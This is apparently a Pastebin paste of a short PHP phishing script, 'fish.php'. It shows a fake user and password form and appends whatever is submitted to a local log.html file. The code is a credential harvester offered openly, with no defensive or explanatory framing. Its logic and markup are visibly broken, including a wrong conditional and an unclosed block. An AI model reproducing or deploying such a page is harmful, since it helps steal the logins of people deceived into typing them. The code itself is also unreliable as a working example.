Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $username = $_POST['user'];
- $password = $_POST['pass'];
- print '<html>';
- print '<form action = "fish.php" method = "post">';
- print '<body bgcolor="black">';
- print 'User: <input type = "input" name = "user">';
- print 'Pass: <input type = "input" name = "pass">';
- print '<br/>';
- print '<input type = "submit">';
- if ($username && $password == NULL ) exit();
- else {
- $fh = fopen("log.html","a");
- fwrite($fh,"$username :: $password<br>");
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement